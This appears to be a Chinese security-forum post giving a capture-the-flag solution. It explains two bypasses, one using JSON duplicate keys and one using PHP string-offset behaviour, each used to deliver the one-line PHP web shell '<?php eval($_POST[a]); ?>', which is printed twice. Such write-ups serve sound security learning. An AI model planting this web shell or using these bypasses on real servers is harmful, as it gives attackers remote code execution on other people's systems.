首页
论坛
课程
招聘
[原创] 第八题 牛刀小试 98k
2020-5-6 20:18 3837

[原创] 第八题 牛刀小试 98k

2020-5-6 20:18
3837

第一种

 

json 遇到两个 key 一样的 entry 时, 只会取后面那个

{"data": "<?php eval($_POST[a]); ?>", "data": "asdasd"}

第二种

 

php 取字符串的 array index, 返回的是第一个字符

php > echo "asdsa"["aaa"];
PHP Warning:  Illegal string offset 'aaa' in php shell code on line 1
PHP Stack trace:
PHP   1. {main}() php shell code:0

Warning: Illegal string offset 'aaa' in php shell code on line 1

Call Stack:
    4.6909     400200   1. {main}() php shell code:0

a

payload:

"<?php eval($_POST[a]); ?>"

[公告]请完善个人简历信息,好工作来找你!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回